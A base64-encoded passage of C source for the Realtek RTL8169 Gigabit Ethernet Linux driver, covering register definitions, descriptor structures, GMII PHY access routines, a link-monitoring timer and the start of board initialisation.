MwkvL1BIWSBSZWcgMHgwMyBiaXQwLTMgPT0gMHgwMDAwDQojZGVmaW5lIFJU TF9HSUdBX1BIWV9WRVJfRCAgICAweDA0CS8vUEhZIFJlZyAweDAzIGJpdDAt MyA9PSAweDAwMDANCiNkZWZpbmUgUlRMX0dJR0FfUEhZX1ZFUl9FICAgIDB4 MDUJLy9QSFkgUmVnIDB4MDMgYml0MC0zID09IDB4MDAwMA0KI2RlZmluZSBS VExfR0lHQV9QSFlfVkVSX0YgICAgMHgwNgkvL1BIWSBSZWcgMHgwMyBiaXQw LTMgPT0gMHgwMDAxDQojZGVmaW5lIFJUTF9HSUdBX1BIWV9WRVJfRyAgICAw eDA3CS8vUEhZIFJlZyAweDAzIGJpdDAtMyA9PSAweDAwMDINCg0KI2RlZmlu ZSBSVExfR0VUX1BIWV9WRVJTSU9OKHBoeV92ZXJzaW9uKSAgICAgXA0Ke1wN CglwaHlfdmVyc2lvbiA9IFJUTF9HSUdBX1BIWV9WRVJfRDtcDQoJaWYoIChS VEw4MTY5X1JFQURfR01JSV9SRUcoaW9hZGRyLDMpJjB4MDAwZikgPT0gMHgw MDAyICl7IFwNCgkJcGh5X3ZlcnNpb24gPSBSVExfR0lHQV9QSFlfVkVSX0c7 XA0KCX0gXA0KCWVsc2UgaWYoIChSVEw4MTY5X1JFQURfR01JSV9SRUcoaW9h ZGRyLDMpJjB4MDAwZikgPT0gMHgwMDAxICl7IFwNCgkJcGh5X3ZlcnNpb24g PSBSVExfR0lHQV9QSFlfVkVSX0Y7XA0KCX0gXA0KCWVsc2UgaWYoIChSVEw4 MTY5X1JFQURfR01JSV9SRUcoaW9hZGRyLDMpJjB4MDAwZikgPT0gMHgwMDAw ICl7IFwNCgkJcGh5X3ZlcnNpb24gPSBSVExfR0lHQV9QSFlfVkVSX0U7XA0K CX0gXA0KfQ0KDQojZGVmaW5lIFJUTF9QUklOVF9QSFlfVkVSU0lPTihwaHlf dmVyc2lvbikgIFwNCntcDQoJc3dpdGNoKHBoeV92ZXJzaW9uKVwNCgl7IFwN CgkJY2FzZSBSVExfR0lHQV9QSFlfVkVSX0c6IFwNCgkJCURCR19QUklOVCgi cGh5X3ZlcnNpb24gPT0gUlRMX0dJR0FfUEhZX1ZFUl9HICgwMDAyKVxuIik7 IFwNCgkJCWJyZWFrOyBcDQoJCWNhc2UgUlRMX0dJR0FfUEhZX1ZFUl9GOiBc DQoJCQlEQkdfUFJJTlQoInBoeV92ZXJzaW9uID09IFJUTF9HSUdBX1BIWV9W RVJfRiAoMDAwMSlcbiIpOyBcDQoJCQlicmVhazsgXA0KCQljYXNlIFJUTF9H SUdBX1BIWV9WRVJfRTogXA0KCQkJREJHX1BSSU5UKCJwaHlfdmVyc2lvbiA9 PSBSVExfR0lHQV9QSFlfVkVSX0UgKDAwMDApXG4iKTsgXA0KCQkJYnJlYWs7 IFwNCgkJY2FzZSBSVExfR0lHQV9QSFlfVkVSX0Q6IFwNCgkJCURCR19QUklO VCgicGh5X3ZlcnNpb24gPT0gUlRMX0dJR0FfUEhZX1ZFUl9EICgwMDAwKVxu Iik7IFwNCgkJCWJyZWFrOyBcDQoJCWRlZmF1bHQ6IFwNCgkJCURCR19QUklO VCgicGh5X3ZlcnNpb24gPT0gVW5rbm93blxuIik7IFwNCgkJCWJyZWFrOyBc DQoJfSBcDQp9DQoNCg0KY29uc3Qgc3RhdGljIHN0cnVjdCB7DQoJY29uc3Qg Y2hhciAqbmFtZTsNCgl1OCBtYWNfdmVyc2lvbjsJCSAvKiBkZXBlbmQgb24g UlRMODE2OSBkb2NzICovDQoJdTMyIFJ4Q29uZmlnTWFzazsgCS8qIHNob3Vs ZCBjbGVhciB0aGUgYml0cyBzdXBwb3J0ZWQgYnkgdGhpcyBjaGlwICovDQp9 IHJ0bF9jaGlwX2luZm9bXSA9IHsNCgl7ICJSVEw4MTY5IiwgIFJUTF9HSUdB X01BQ19WRVJfQiwgIDB4ZmY3ZTE4ODAgfSwNCgl7ICJSVEw4MTY5cy84MTEw cyIsICBSVExfR0lHQV9NQUNfVkVSX0QsICAweGZmN2UxODgwIH0sDQoJeyAi UlRMODE2OXMvODExMHMiLCAgUlRMX0dJR0FfTUFDX1ZFUl9FLCAgMHhmZjdl MTg4MCB9LA0KfTsNCg0KDQoNCg0Kc3RhdGljIHN0cnVjdCBwY2lfZGV2aWNl X2lkIHJ0bDgxNjlfcGNpX3RibFtdIF9fZGV2aW5pdGRhdGEgPSB7DQoJeyAw eDEwZWMsIDB4ODE2OSwgUENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwg MCB9LA0KCXswLH0sDQp9Ow0KDQoNCg0KTU9EVUxFX0RFVklDRV9UQUJMRSAo cGNpLCBydGw4MTY5X3BjaV90YmwpOw0KDQplbnVtIFJUTDgxNjlfcmVnaXN0 ZXJzIHsNCglNQUMwID0gMHgwLAkJLyogRXRoZXJuZXQgaGFyZHdhcmUgYWRk cmVzcy4gKi8NCglNQVIwID0gMHg4LAkJLyogTXVsdGljYXN0IGZpbHRlci4g Ki8NCglUeERlc2NTdGFydEFkZHIJPSAweDIwLA0KCVR4SERlc2NTdGFydEFk ZHI9IDB4MjgsDQoJRkxBU0gJPSAweDMwLA0KCUVSU1IJPSAweDM2LA0KCUNo aXBDbWQJPSAweDM3LA0KCVR4UG9sbAk9IDB4MzgsDQoJSW50ck1hc2sgPSAw eDNDLA0KCUludHJTdGF0dXMgPSAweDNFLA0KCVR4Q29uZmlnID0gMHg0MCwN CglSeENvbmZpZyA9IDB4NDQsDQoJUnhNaXNzZWQgPSAweDRDLA0KCUNmZzkz NDYgPSAweDUwLA0KCUNvbmZpZzAJPSAweDUxLA0KCUNvbmZpZzEJPSAweDUy LA0KCUNvbmZpZzIJPSAweDUzLA0KCUNvbmZpZzMJPSAweDU0LA0KCUNvbmZp ZzQJPSAweDU1LA0KCUNvbmZpZzUJPSAweDU2LA0KCU11bHRpSW50ciA9IDB4 NUMsDQoJUEhZQVIJPSAweDYwLA0KCVRCSUNTUgk9IDB4NjQsDQoJVEJJX0FO QVIgPSAweDY4LA0KCVRCSV9MUEFSID0gMHg2QSwNCglQSFlzdGF0dXMgPSAw eDZDLA0KCVJ4TWF4U2l6ZSA9IDB4REEsDQoJQ1BsdXNDbWQgPSAweEUwLA0K CVJ4RGVzY1N0YXJ0QWRkcgk9IDB4RTQsDQoJRVRUaFJlZwk9IDB4RUMsDQoJ RnVuY0V2ZW50CT0gMHhGMCwNCglGdW5jRXZlbnRNYXNrCT0gMHhGNCwNCglG dW5jUHJlc2V0U3RhdGUJPSAweEY4LA0KCUZ1bmNGb3JjZUV2ZW50CT0gMHhG QywJCQ0KfTsNCg0KZW51bSBSVEw4MTY5X3JlZ2lzdGVyX2NvbnRlbnQgew0K CS8qSW50ZXJydXB0U3RhdHVzQml0cyovDQoJU1lTRXJyIAkJPSAweDgwMDAs DQoJUENTVGltZW91dAk9IDB4NDAwMCwNCglTV0ludAkJPSAweDAxMDAsDQoJ VHhEZXNjVW5hdmFpbAk9IDB4ODAsDQoJUnhGSUZPT3ZlciAJPSAweDQwLA0K CUxpbmtDaGcgCT0gMHgyMCwNCglSeE92ZXJmbG93IAk9IDB4MTAsDQoJVHhF cnIgCT0gMHgwOCwNCglUeE9LIAk9IDB4MDQsDQoJUnhFcnIgCT0gMHgwMiwN CglSeE9LIAk9IDB4MDEsDQoNCgkvKlJ4U3RhdHVzRGVzYyovDQoJUnhSRVMg PSAweDAwMjAwMDAwLA0KCVJ4Q1JDID0gMHgwMDA4MDAwMCwNCglSeFJVTlQ9 IDB4MDAxMDAwMDAsDQoJUnhSV1QgPSAweDAwNDAwMDAwLA0KDQoJLypDaGlw Q21kQml0cyovDQoJQ21kUmVzZXQgPSAweDEwLA0KCUNtZFJ4RW5iID0gMHgw OCwNCglDbWRUeEVuYiA9IDB4MDQsDQoJUnhCdWZFbXB0eSA9IDB4MDEsDQoN CgkvKkNmZzkzNDZCaXRzKi8NCglDZmc5MzQ2X0xvY2sgPSAweDAwLA0KCUNm ZzkzNDZfVW5sb2NrID0gMHhDMCwNCg0KCS8qcnhfbW9kZV9iaXRzKi8NCglB Y2NlcHRFcnIgPSAweDIwLA0KCUFjY2VwdFJ1bnQgPSAweDEwLA0KCUFjY2Vw dEJyb2FkY2FzdCA9IDB4MDgsDQoJQWNjZXB0TXVsdGljYXN0ID0gMHgwNCwN CglBY2NlcHRNeVBoeXMgPSAweDAyLA0KCUFjY2VwdEFsbFBoeXMgPSAweDAx LA0KDQoJLypSeENvbmZpZ0JpdHMqLw0KCVJ4Q2ZnRklGT1NoaWZ0ID0gMTMs DQoJUnhDZmdETUFTaGlmdCA9IDgsDQoNCgkvKlR4Q29uZmlnQml0cyovDQoJ VHhJbnRlckZyYW1lR2FwU2hpZnQgPSAyNCwNCglUeERNQVNoaWZ0ID0gOCwJ CS8qIERNQSBidXJzdCB2YWx1ZSAoMC03KSBpcyBzaGlmdCB0aGlzIG1hbnkg Yml0cyAqLw0KDQoJLypydGw4MTY5X1BIWXN0YXR1cyovDQoJVEJJX0VuYWJs ZQk9IDB4ODAsDQoJVHhGbG93Q3RybAk9IDB4NDAsDQoJUnhGbG93Q3RybAk9 IDB4MjAsDQoJXzEwMDBicHNGCT0gMHgxMCwNCglfMTAwYnBzCQk9IDB4MDgs DQoJXzEwYnBzCQk9IDB4MDQsDQoJTGlua1N0YXR1cwk9IDB4MDIsDQoJRnVs bER1cAkJPSAweDAxLA0KDQoJLypHSUdBQklUX1BIWV9yZWdpc3RlcnMqLw0K CVBIWV9DVFJMX1JFRyA9IDAsDQoJUEhZX1NUQVRfUkVHID0gMSwNCglQSFlf QVVUT19ORUdPX1JFRyA9IDQsDQoJUEhZXzEwMDBfQ1RSTF9SRUcgPSA5LA0K DQoJLypHSUdBQklUX1BIWV9SRUdfQklUKi8NCglQSFlfUmVzdGFydF9BdXRv X05lZ28JPSAweDAyMDAsDQoJUEhZX0VuYWJsZV9BdXRvX05lZ28JPSAweDEw MDAsDQoNCgkvL1BIWV9TVEFUX1JFRyA9IDE7DQoJUEhZX0F1dG9fTmVjb19D b21wCT0gMHgwMDIwLA0KDQoJLy9QSFlfQVVUT19ORUdPX1JFRyA9IDQ7DQoJ UEhZX0NhcF8xMF9IYWxmCQk9IDB4MDAyMCwNCglQSFlfQ2FwXzEwX0Z1bGwJ CT0gMHgwMDQwLA0KCVBIWV9DYXBfMTAwX0hhbGYJPSAweDAwODAsDQoJUEhZ X0NhcF8xMDBfRnVsbAk9IDB4MDEwMCwNCg0KCS8vUEhZXzEwMDBfQ1RSTF9S RUcgPSA5Ow0KCVBIWV9DYXBfMTAwMF9GdWxsCT0gMHgwMjAwLA0KDQoJUEhZ X0NhcF9OdWxsCQk9IDB4MCwNCg0KDQoJLypfTWVkaWFUeXBlKi8NCglfMTBf SGFsZgk9IDB4MDEsDQoJXzEwX0Z1bGwJPSAweDAyLA0KCV8xMDBfSGFsZgk9 IDB4MDQsDQoJXzEwMF9GdWxsCT0gMHgwOCwNCglfMTAwMF9GdWxsCT0gMHgx MCwNCg0KCS8qX1RCSUNTUkJpdCovDQoJVEJJTGlua09LIAk9IDB4MDIwMDAw MDAsDQp9Ow0KDQoNCg0KZW51bSBfRGVzY1N0YXR1c0JpdCB7DQoJT1dOYml0 CT0gMHg4MDAwMDAwMCwNCglFT1JiaXQJPSAweDQwMDAwMDAwLA0KCUZTYml0 CT0gMHgyMDAwMDAwMCwNCglMU2JpdAk9IDB4MTAwMDAwMDAsDQp9Ow0KDQoN CnN0cnVjdCBUeERlc2Mgew0KCXUzMgkJc3RhdHVzOw0KCXUzMgkJdmxhbl90 YWc7DQoJdTMyCQlidWZfYWRkcjsNCgl1MzIJCWJ1Zl9IYWRkcjsNCn07DQoN CnN0cnVjdCBSeERlc2Mgew0KCXUzMgkJc3RhdHVzOw0KCXUzMgkJdmxhbl90 YWc7DQoJdTMyCQlidWZfYWRkcjsNCgl1MzIJCWJ1Zl9IYWRkcjsNCn07DQoN CiNpZm5kZWYgdGltZXJfdA0KdHlwZWRlZiBzdHJ1Y3QgdGltZXJfbGlzdCB0 aW1lcl90Ow0KI2VuZGlmIC8vI2lmbmRlZiB0aW1lcl90DQoNCnN0cnVjdCBy dGw4MTY5X3ByaXZhdGUgew0KCXZvaWQgKm1taW9fYWRkcjsJCQkJLyogbWVt b3J5IG1hcCBwaHlzaWNhbCBhZGRyZXNzKi8NCglzdHJ1Y3QgcGNpX2RldiAq cGNpX2RldjsJCQkvKiBJbmRleCBvZiBQQ0kgZGV2aWNlICAqLw0KCXN0cnVj dCBuZXRfZGV2aWNlX3N0YXRzIHN0YXRzOwkJCS8qIHN0YXRpc3RpY3Mgb2Yg bmV0IGRldmljZSAqLw0KCXNwaW5sb2NrX3QgbG9jazsJCQkJLyogc3BpbiBs b2NrIGZsYWcgKi8NCglpbnQgY2hpcHNldDsNCglpbnQgbWFjX3ZlcnNpb247 DQoJaW50IHBoeV92ZXJzaW9uOw0KCXRpbWVyX3QgcGh5X3RpbWVyX3Q7DQoJ dW5zaWduZWQgbG9uZyBwaHlfbGlua19kb3duX2NudDsNCgl1bnNpZ25lZCBs b25nIGN1cl9yeDsJCQkJLyogSW5kZXggaW50byB0aGUgUnggZGVzY3JpcHRv ciBidWZmZXIgb2YgbmV4dCBSeCBwa3QuICovDQoJdW5zaWduZWQgbG9uZyBj dXJfdHg7CQkJCS8qIEluZGV4IGludG8gdGhlIFR4IGRlc2NyaXB0b3IgYnVm ZmVyIG9mIG5leHQgUnggcGt0LiAqLw0KCXVuc2lnbmVkIGxvbmcgZGlydHlf dHg7DQoJdW5zaWduZWQgY2hhcgkqVHhEZXNjQXJyYXlzOwkJCS8qIEluZGV4 IG9mIFR4IERlc2NyaXB0b3IgYnVmZmVyICovDQoJdW5zaWduZWQgY2hhcgkq UnhEZXNjQXJyYXlzOwkJCS8qIEluZGV4IG9mIFJ4IERlc2NyaXB0b3IgYnVm ZmVyICovDQoJc3RydWN0CVR4RGVzYwkqVHhEZXNjQXJyYXk7CQkJLyogSW5k ZXggb2YgMjU2LWFsaWdubWVudCBUeCBEZXNjcmlwdG9yIGJ1ZmZlciAqLw0K CXN0cnVjdAlSeERlc2MJKlJ4RGVzY0FycmF5OwkJCS8qIEluZGV4IG9mIDI1 Ni1hbGlnbm1lbnQgUnggRGVzY3JpcHRvciBidWZmZXIgKi8NCglzdHJ1Y3QJ c2tfYnVmZgkqVHhfc2tidWZmW05VTV9UWF9ERVNDXTsJLyogSW5kZXggb2Yg VHJhbnNtaXQgZGF0YSBidWZmZXIgKi8NCglzdHJ1Y3QJc2tfYnVmZgkqUnhf c2tidWZmW05VTV9SWF9ERVNDXTsJLyogUmVjZWl2ZSBkYXRhIGJ1ZmZlciAq Lw0KCXVuc2lnbmVkIGNoYXIgICBkcnZpbml0X2ZhaWw7DQp9Ow0KDQoNCk1P RFVMRV9BVVRIT1IgKCJSZWFsdGVrIik7DQpNT0RVTEVfREVTQ1JJUFRJT04g KCJSZWFsVGVrIFJUTC04MTY5IEdpZ2FiaXQgRXRoZXJuZXQgZHJpdmVyIik7 DQpNT0RVTEVfUEFSTSAobWVkaWEsICIxLSIgX19NT0RVTEVfU1RSSU5HKE1B WF9VTklUUykgImkiKTsNCg0Kc3RhdGljIGludCBydGw4MTY5X29wZW4gKHN0 cnVjdCBuZXRfZGV2aWNlICpkZXYpOw0Kc3RhdGljIGludCBydGw4MTY5X3N0 YXJ0X3htaXQgKHN0cnVjdCBza19idWZmICpza2IsIHN0cnVjdCBuZXRfZGV2 aWNlICpkZXYpOw0Kc3RhdGljIHZvaWQgcnRsODE2OV9pbnRlcnJ1cHQgKGlu dCBpcnEsIHZvaWQgKmRldl9pbnN0YW5jZSwgc3RydWN0IHB0X3JlZ3MgKnJl Z3MpOw0Kc3RhdGljIHZvaWQgcnRsODE2OV9pbml0X3JpbmcgKHN0cnVjdCBu ZXRfZGV2aWNlICpkZXYpOw0Kc3RhdGljIHZvaWQgcnRsODE2OV9od19zdGFy dCAoc3RydWN0IG5ldF9kZXZpY2UgKmRldik7DQpzdGF0aWMgaW50IHJ0bDgx NjlfY2xvc2UgKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpOw0Kc3RhdGljIGlu bGluZSB1MzIgZXRoZXJfY3JjIChpbnQgbGVuZ3RoLCB1bnNpZ25lZCBjaGFy ICpkYXRhKTsNCnN0YXRpYyB2b2lkIHJ0bDgxNjlfc2V0X3J4X21vZGUgKHN0 cnVjdCBuZXRfZGV2aWNlICpkZXYpOw0Kc3RhdGljIHZvaWQgcnRsODE2OV90 eF90aW1lb3V0IChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KTsNCnN0YXRpYyBz dHJ1Y3QgbmV0X2RldmljZV9zdGF0cyAqcnRsODE2OV9nZXRfc3RhdHMoc3Ry dWN0IG5ldF9kZXZpY2UgKm5ldGRldik7DQoNCnN0YXRpYyB2b2lkIHJ0bDgx NjlfaHdfUEhZX2NvbmZpZyAoc3RydWN0IG5ldF9kZXZpY2UgKmRldik7DQpz dGF0aWMgdm9pZCBydGw4MTY5X2h3X1BIWV9yZXNldChzdHJ1Y3QgbmV0X2Rl dmljZSAqZGV2KTsNCnN0YXRpYyBjb25zdCB1MTYgcnRsODE2OV9pbnRyX21h c2sgPSBMaW5rQ2hnIHwgUnhPdmVyZmxvdyB8IFJ4RklGT092ZXIgfCBUeEVy ciB8IFR4T0sgfCBSeEVyciB8IFJ4T0sgOw0Kc3RhdGljIGNvbnN0IHVuc2ln bmVkIGludCBydGw4MTY5X3J4X2NvbmZpZyA9IChSWF9GSUZPX1RIUkVTSCA8 PCBSeENmZ0ZJRk9TaGlmdCkgfCAoUlhfRE1BX0JVUlNUIDw8IFJ4Q2ZnRE1B U2hpZnQpIDsNCg0KDQojZGVmaW5lIFJUTDgxNjlfV1JJVEVfR01JSV9SRUdf QklUKCBpb2FkZHIsIHJlZywgYml0bnVtLCBiaXR2YWwgKVwNCnsgXA0KCWlu dCB2YWw7IFwNCglpZiggYml0dmFsID09IDEgKXsgdmFsID0gKCBSVEw4MTY5 X1JFQURfR01JSV9SRUcoIGlvYWRkciwgcmVnICkgfCAoYml0dmFsPDxiaXRu dW0pICkgJiAweGZmZmYgOyB9IFwNCgllbHNleyB2YWwgPSAoIFJUTDgxNjlf UkVBRF9HTUlJX1JFRyggaW9hZGRyLCByZWcgKSAmICh+KDB4MDAwMTw8Yml0 bnVtKSkgKSAmIDB4ZmZmZiA7IH0gXA0KCVJUTDgxNjlfV1JJVEVfR01JSV9S RUcoIGlvYWRkciwgcmVnLCB2YWwgKTsgXA0KfQ0KDQoNCg0KI2lmZGVmIFJU TDgxNjlfREVCVUcNCnVuc2lnbmVkIGFsbG9jX3J4c2tiX2NudCA9IDA7DQoj ZGVmaW5lIFJUTDgxNjlfQUxMT0NfUlhTS0IoYnVmc2l6ZSkgCWRldl9hbGxv Y19za2IoYnVmc2l6ZSk7IGFsbG9jX3J4c2tiX2NudCArKyA7DQojZGVmaW5l IFJUTDgxNjlfRlJFRV9SWFNLQihza2IpIAlrZnJlZV9za2Ioc2tiKTsgYWxs b2Nfcnhza2JfY250IC0tIDsNCiNkZWZpbmUgUlRMODE2OV9ORVRJRl9SWChz a2IpIAkJbmV0aWZfcngoc2tiKTsgYWxsb2Nfcnhza2JfY250IC0tIDsNCiNl bHNlDQojZGVmaW5lIFJUTDgxNjlfQUxMT0NfUlhTS0IoYnVmc2l6ZSkgCWRl dl9hbGxvY19za2IoYnVmc2l6ZSk7DQojZGVmaW5lIFJUTDgxNjlfRlJFRV9S WFNLQihza2IpIAlrZnJlZV9za2Ioc2tiKTsNCiNkZWZpbmUgUlRMODE2OV9O RVRJRl9SWChza2IpIAkJbmV0aWZfcngoc2tiKTsNCiNlbmRpZiAvL2VuZCAj aWZkZWYgUlRMODE2OV9ERUJVRw0KDQoNCg0KDQovLz09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09DQovLwlQSFlBUg0KLy8JYml0CQlTeW1ib2wNCi8vCTMxCQlGbGFn DQovLwkzMC0yMQlyZXNlcnZlZA0KLy8JMjAtMTYJNS1iaXQgR01JSS9NSUkg cmVnaXN0ZXIgYWRkcmVzcw0KLy8JMTUtMAkxNi1iaXQgR01JSS9NSUkgcmVn aXN0ZXIgZGF0YQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kdm9pZCBSVEw4 MTY5X1dSSVRFX0dNSUlfUkVHKCB2b2lkICppb2FkZHIsIGludCBSZWdBZGRy LCBpbnQgdmFsdWUgKQ0Kew0KCWludAlpOw0KDQoJUlRMX1czMiAoIFBIWUFS LCAweDgwMDAwMDAwIHwgKFJlZ0FkZHImMHhGRik8PDE2IHwgdmFsdWUpOw0K CXVkZWxheSgxMDAwKTsNCg0KCWZvciggaSA9IDIwMDA7IGkgPiAwIDsgaSAt LSApew0KCQkvLyBDaGVjayBpZiB0aGUgUlRMODE2OSBoYXMgY29tcGxldGVk IHdyaXRpbmcgdG8gdGhlIHNwZWNpZmllZCBNSUkgcmVnaXN0ZXINCgkJaWYo ICEgKFJUTF9SMzIoUEhZQVIpJjB4ODAwMDAwMDApICl7DQoJCQlicmVhazsN CgkJfQ0KCQllbHNlew0KCQkJdWRlbGF5KDEwMCk7DQoJCX0vLyBlbmQgb2Yg aWYoICEgKFJUTF9SMzIoUEhZQVIpJjB4ODAwMDAwMDApICkNCgl9Ly8gZW5k IG9mIGZvcigpIGxvb3ANCn0NCi8vPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmlu dCBSVEw4MTY5X1JFQURfR01JSV9SRUcoIHZvaWQgKmlvYWRkciwgaW50IFJl Z0FkZHIgKQ0Kew0KCWludCBpLCB2YWx1ZSA9IC0xOw0KDQoJUlRMX1czMiAo IFBIWUFSLCAweDAgfCAoUmVnQWRkciYweEZGKTw8MTYgKTsNCgl1ZGVsYXko MTAwMCk7DQoNCglmb3IoIGkgPSAyMDAwOyBpID4gMCA7IGkgLS0gKXsNCgkJ Ly8gQ2hlY2sgaWYgdGhlIFJUTDgxNjkgaGFzIGNvbXBsZXRlZCByZXRyaWV2 aW5nIGRhdGEgZnJvbSB0aGUgc3BlY2lmaWVkIE1JSSByZWdpc3Rlcg0KCQlp ZiggUlRMX1IzMihQSFlBUikgJiAweDgwMDAwMDAwICl7DQoJCQl2YWx1ZSA9 IChpbnQpKCBSVExfUjMyKFBIWUFSKSYweEZGRkYgKTsNCgkJCWJyZWFrOw0K CQl9DQoJCWVsc2V7DQoJCQl1ZGVsYXkoMTAwKTsNCgkJfS8vIGVuZCBvZiBp ZiggUlRMX1IzMihQSFlBUikgJiAweDgwMDAwMDAwICkNCgl9Ly8gZW5kIG9m IGZvcigpIGxvb3ANCglyZXR1cm4gdmFsdWU7DQp9DQoNCg0KDQojZGVmaW5l IHJ0bDgxNjlfcmVxdWVzdF90aW1lciggdGltZXIsIHRpbWVyX2V4cGlyZXMs IHRpbWVyX2Z1bmMsIHRpbWVyX2RhdGEgKSBcDQp7IFwNCglpbml0X3RpbWVy KHRpbWVyKTsgXA0KCXRpbWVyLT5leHBpcmVzID0gKHVuc2lnbmVkIGxvbmcp KGppZmZpZXMgKyB0aW1lcl9leHBpcmVzKTsgXA0KCXRpbWVyLT5kYXRhID0g KHVuc2lnbmVkIGxvbmcpKHRpbWVyX2RhdGEpOyBcDQoJdGltZXItPmZ1bmN0 aW9uID0gKHZvaWQgKikodGltZXJfZnVuYyk7IFwNCglhZGRfdGltZXIodGlt ZXIpOyBcDQoJREJHX1BSSU5UKCJyZXF1ZXN0X3RpbWVyIGF0IDB4JTA4bHhc biIsICh1bnNpZ25lZCBsb25nKXRpbWVyKTsgXA0KfQ0KDQojZGVmaW5lIHJ0 bDgxNjlfZGVsZXRlX3RpbWVyKCBkZWxfdGltZXJfdCApIFwNCnsgXA0KCWRl bF90aW1lcihkZWxfdGltZXJfdCk7IFwNCglEQkdfUFJJTlQoImRlbGV0ZV90 aW1lciBhdCAweCUwOGx4XG4iLCAodW5zaWduZWQgbG9uZylkZWxfdGltZXJf dCk7IFwNCn0NCg0KI2RlZmluZSBydGw4MTY5X21vZF90aW1lciggdGltZXIs IHRpbWVyX2V4cGlyZXMgKSBcDQp7IFwNCgltb2RfdGltZXIoIHRpbWVyLCBq aWZmaWVzICsgdGltZXJfZXhwaXJlcyApOyBcDQp9DQoNCg0KDQoNCi8vPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kdm9pZCBydGw4MTY5X3BoeV90 aW1lcl90X2hhbmRsZXIoIHZvaWQJKnRpbWVyX2RhdGEgKQ0Kew0KCXN0cnVj dCBuZXRfZGV2aWNlICpkZXYgPSAoc3RydWN0IG5ldF9kZXZpY2UgKil0aW1l cl9kYXRhOw0KCXN0cnVjdCBydGw4MTY5X3ByaXZhdGUgKnByaXYgPSAoc3Ry dWN0IHJ0bDgxNjlfcHJpdmF0ZSAqKSAoZGV2LT5wcml2KTsNCgl2b2lkICpp b2FkZHIgPSBwcml2LT5tbWlvX2FkZHI7DQoNCglhc3NlcnQoIHByaXYtPm1h Y192ZXJzaW9uID4gUlRMX0dJR0FfTUFDX1ZFUl9CICk7DQoJYXNzZXJ0KCBw cml2LT5waHlfdmVyc2lvbiA8IFJUTF9HSUdBX1BIWV9WRVJfRyApOw0KDQoJ aWYoIFJUTF9SOChQSFlzdGF0dXMpICYgTGlua1N0YXR1cyApew0KCQlwcml2 LT5waHlfbGlua19kb3duX2NudCA9IDAgOw0KCX0NCgllbHNlew0KCQlwcml2 LT5waHlfbGlua19kb3duX2NudCArKyA7DQoJCWlmKCBwcml2LT5waHlfbGlu a19kb3duX2NudCA+PSAxMiApew0KCQkJLy8gSWYgbGluayBvbiAxMDAwLCBw ZXJmb3JtIHBoeSByZXNldC4NCgkJCWlmKCBSVEw4MTY5X1JFQURfR01JSV9S RUcoIGlvYWRkciwgUEhZXzEwMDBfQ1RSTF9SRUcgKSAmIFBIWV9DYXBfMTAw MF9GdWxsICkNCgkJCXsNCgkJCQlydGw4MTY5X2h3X1BIWV9yZXNldCggZGV2 ICk7DQoJCQl9DQoNCgkJCXByaXYtPnBoeV9saW5rX2Rvd25fY250ID0gMCA7 DQoJCX0NCgl9DQoNCgkvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQ0KCS8vbW9kX3RpbWVyIGlzIGEgbW9yZSBlZmZpY2llbnQgd2F5IHRvIHVw ZGF0ZSB0aGUgZXhwaXJlIGZpZWxkIG9mIGFuIGFjdGl2ZSB0aW1lci4NCgkv Ly0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCXJ0bDgxNjlfbW9k X3RpbWVyKCAoJnByaXYtPnBoeV90aW1lcl90KSwgMTAwICk7DQp9DQoNCg0K DQoNCi8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09DQovLz09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3RhdGljIGlu dCBfX2RldmluaXQgcnRsODE2OV9pbml0X2JvYXJkICggc3RydWN0IHBjaV9k ZXYgKnBkZXYsIHN0cnVjdCBuZXRfZGV2aWNlICoqZGV2X291dCwgdm9pZCAq KmlvYWRkcl9vdXQpDQp7DQoJdm9pZCAqaW9hZGRyID0gTlVMTDsNCglzdHJ1 Y3QgbmV0X2RldmljZSAqZGV2Ow0KCXN0cnVjdCBydGw4MTY5X3ByaXZhdGUg KnByaXY7DQoJaW50IHJjLCBpOw0KCXVuc2lnbmVkIGxvbmcgbW1pb19zdGFy dCwgbW1pb19lbmQsIG1taW9fZmxhZ3MsIG1taW9fbGVuOw0KDQoNCglhc3Nl cnQgKHBkZXYgIT0gTlVMTCk7DQoJYXNzZXJ0IChpb2FkZHJfb3V0ICE9IE5V TEwpOw0KDQoJKmlvYWRkcl9vdXQgPSBOVUxMOw0KCSpkZXZfb3V0ID0gTlVM TDsNCg0KCS8vIGRldiB6ZXJvZWQgaW4gaW5pdF9ldGhlcmRldiANCglkZXYg PSBpbml0X2V0aGVyZGV2IChOVUxMLCBzaXplb2YgKCpwcml2KSk7DQoJaWYg KGRldiA9PSBOVUxMKSB7DQoJCXByaW50ayAoS0VSTl9FUlIgUEZYICJ1bmFi bGUgdG8gYWxsb2MgbmV3IGV0aGVybmV0XG4iKTsNCgkJcmV0dXJuIC1FTk9N RU07DQoJfQ0KDQoJU0VUX01PRFVMRV9PV05FUihkZXYpOw0KCXByaXYgPSBk 